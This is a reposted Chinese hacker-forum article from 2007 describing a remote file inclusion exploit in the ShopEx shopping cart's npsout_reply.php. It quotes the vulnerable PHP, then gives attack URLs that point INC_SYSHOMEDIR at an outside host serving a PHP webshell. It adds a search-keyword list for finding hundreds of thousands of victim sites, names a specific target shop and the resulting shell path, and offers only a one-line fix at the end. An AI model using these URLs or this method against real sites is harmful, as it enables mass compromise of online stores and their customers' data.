设为首页  加入收藏  联系我们 繁體中文  

黑客软件:

  漏洞扫描 | 木马间谍 | 加密解密 | 远程控制 | 破坏攻击 | 杀毒软件 | 防火墙类 | OICQ专区 | 黑客必备 | 常用工具 | 网吧攻击
文章中心:   最新资讯 | 黑客技术 | 电脑基础 | 菜鸟文摘 | 网络安全 | 网络技巧 | QQ技巧 | OQ空间代码 | 免费资源 | 编程世界 | 建站技术
素材源码:   论坛相关 | ASP源码 | CGI 源码 | NET 源码 | PHP 源码 | 酷站素材 | 字体素材 | 图片素材 | 友情发布 | 网页模版 | 建站软件
教程动画:   黑客教程 | 黑客编程 | 网站入侵 | 菜鸟教程 | 入侵教程 | 破解教程 | 电子书籍 | 网页制作 | 高级会员 | 综合教程 | 本站原创


   

  您当前的位置:中华隐士黑客联盟 -> 黑客技术 -> 入侵技术 -> 文章内容 [站内搜索]  

 
SHOPEX最新漏洞利用
作者:不详  来源:转载  发布时间:2007-4-18 13:39:23  发布人:heigeheapao
信息来源:B.S.T

漏洞平台:SHOPEX
危害程度:★★★★☆

关于ShopEx:
ShopEx是网络购物软件与技术服务全面提供商,ShopEx做为国内购物软件的开拓者和实践者,提供了从购物软件(包括网上商店、网上商城、网上商店多店系统)到相关配套服务(网店推广、模板设计、流量监测、商业智能分析、网上支付、网店互联、购物系统定制开发等)以及深层次的电子商务技术服务。

漏洞原理:

看这里:/shop/npsout_reply.php
include_once($INC_SYSHOMEDIR."include/PayFunction.php");
//=========================== 把商家的相关信息返回去 =======================
//接收组件的加密
$OrderInfo = $_POST['OrderMessage']; //订单加密信息
$signMsg = $_POST['Digest']; //密匙
$m_id = $_POST['m_id'];
//=========================== 开始加密 ====================================
//检查签名
$shopPayment = newclass("shopPayment");
$key = $shopPayment->getKey($INC_SHOPID, $m_id, "NPS_OUT");
$digest = md5($OrderInfo.$key);
//var_dump($_POST);
if ($digest == $signMsg)
{
 //将HEX还原成字符
 $OrderInfo = HexToStr($OrderInfo);
 //DES解密
 $recovered_message = des($key, $OrderInfo, 0, 1, null);
 //echo "DES Test Decrypted: " . $recovered_message;
 $orderArray = split('[|]',$recovered_message);
 $m_id = $orderArray[0];
 $m_orderid = $orderArray[1];
 $m_oamount = $orderArray[2];
 $m_ocurrency = $orderArray[3];
 $m_url = $orderArray[4];
 // m_txcode = array[5];
 $m_language = $orderArray[5];
 $s_name = $orderArray[6];
 $s_addr = $orderArray[7];
 $s_postcode = $orderArray[8];
 $s_tel = $orderArray[9];
 $s_eml = $orderArray[10];
 $r_name = $orderArray[11];
 $r_addr = $orderArray[12];
 $r_postcode = $orderArray[13];
 $r_tel = $orderArray[14];
 $r_eml = $orderArray[15];
 $m_ocomment = $orderArray[16];
 $modate = $orderArray[17];
 $Status = $orderArray[18];
 if ($Status == 2)
 {
 $Order = newclass("Order");
 $Order->shopId = $INC_SHOPID;
 $Order->payid = $m_orderid;
 $arr_paytime = getUnixtime(); //支付时间
 $Order->onlinePayed($arr_paytime[0], $arr_paytime[1]);
 
 $tmp_orderno = $Order->getorderidbyPayid($Order->payid); //拿出商店订单号
 $state = 2 ;
 $strinfo = $PROG_TAGS["ptag_1334"];
 }
 else{
 $state = 1 ;
 $strinfo = $PROG_TAGS["ptag_1335"];
 }
}else{
 $state = 0 ;
 $strinfo = $PROG_TAGS["ptag_1336"];
}

Header("Location: ./index.php?gOo=pay_reply.dwt&orderid=".$tmp_orderno."&state=".$state."&strinfo=".urlencode($strinfo));
?>

假设在 http://www.sagi.net.cn 根目录下有个include文件夹
里面有PayFunction.php文件(这是我们自己构造的,当然文件的内容可是小马也可是大马 呵呵)

我们用如下方法就可以利用之
http://www.xxxx.com/shop/npsout_reply.php?INC_SYSHOMEDIR=http://www.sagi.net.cn

简单的说远程攻击者可以利用漏洞以WEB进程权限执行任意PHP命令。具体情节是'npsout_reply.php'脚本对用户提交的'npsout_root_path'参数缺少过滤指定远程服务器上的任意文件作为包含对象,可导致以WEB权限执行任意PHP代码

漏洞实战:

构造URL:
http://www.xxxx.com/shop/npsout_reply.php?INC_SYSHOMEDIR=http://www.sagi.net.cn/php.txt?
注意:
[http://www.sagi.net.cn/php.txt?] 其实并没有在 http://www.sagi.net.cn 所在的服务器上执行而是在 "http://www.xxxx.com" 上执行的。

简单的说.通过SHOPEX系统,我在中国的服务器上执行了美国服务器上的代码.而这个代码的主人是美国服务器.却在中国的服务器上被执行.

所以我在中国的服务器上执行命令。美国的服务器就乖乖的执行任务。就这么简单。

漏洞实验:

关键词:产品目录 联系我们 关于我们 常见问题 安全交易 购买流程 如何付款

可以找到40多万个用此系统的站.也就意味着40多万个站将被沦陷.

在目标站后面加上:

/shop/npsout_reply.php?INC_SYSHOMEDIR=http://www.sagi.net.cn/php.txt?

就出现了远程执行php大马的画面.

如:http://www.oicqshop.com/oicqshop/shop/npsout_reply.php?INC_SYSHOMEDIR=http://www.sagi.net.cn/php.txt?

然后上传php大马.就可以了.

访问:如:http://www.oicqshop.com/oicqshop/shop/bsthacker.php


至于解决方案.官方未公布.

可以删除shop目录下的npsout_reply.php文件.

OK... <-- Google Adsense --> <Script type=text/javascript><-- google_ad_client = "pub-1460049757379518"; google_ad_width = 468; google_ad_height = 15; google_ad_format = "468x15_0ads_al"; //2007-03-24: ??ӵ?Ԫ google_ad_channel = "1557999036"; google_color_border = "FFFFFF"; google_color_bg = "FFFFFF"; google_color_link = "0082FF"; google_color_text = "333333"; google_color_url = "0082FF"; //--> </Script> <Script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type=text/javascript> </Script>
[] [返回上一页] [打 印] [收 藏]
  [相关文章评论]    (评论内容只代表网友观点,与本站立场无关!) [更多评论...]
 

  微软“Flash杀手”S..
推荐:dvbbs sql 得W..
躲避ScanWebShell的..
dvbbs sql 得WebShe..
Webshell与Serv-u结..
国外WEB漏洞的利用到..
动网7.1SP1进后台靠..
用 Pam_Abl 来保护 ..
用 Pam_Abl 来保护 ..
执行文件方式加密FL..


 
免费获得Q币的最新方法
最新免费在线看的电影网站集绵
不用木马,轻松万能偷盗QQ号码
最新QQ空间4.0全屏版效果图!!
黑客快速入门(强烈推荐)
18岁少女欲6000元卖处女身 救患血..
QQ密码本地破解的原理和方法
中华隐士黑客联盟
倾情推出QQ空间互踩联盟(免费加入..
新免蟆Q秀,刷红钻的方法
 
关于defined() 04-19
服务器反黑全集 04-19
从注册表中读出 NOD32 的用户名与.. 04-19
php+mysql注射语句构造 04-19
跨出权限—世纪热线全站程序完美.. 04-19
万事不求人 三招必杀技清除IE顽固.. 04-19
只需2、3秒:加快Vista启动/关机.. 04-19
绿色破解Office办公软件的保护密.. 04-19
轻松破解 打开丢失密码的笔记本电.. 04-19
中国的黑客年 当黑客遇上病毒式营.. 04-19
 
关于本站 网站帮助 广告合作 下载声明 友情连接 网站地图 访客留言 论坛登录
〖中华隐士黑客联盟〗,Copyright © 2006-2010 WwW.Hack86.Com 闽ICP备:06023304号
站长:小质 QQ:771760,软件发布MAIL:Hack086@21cn.com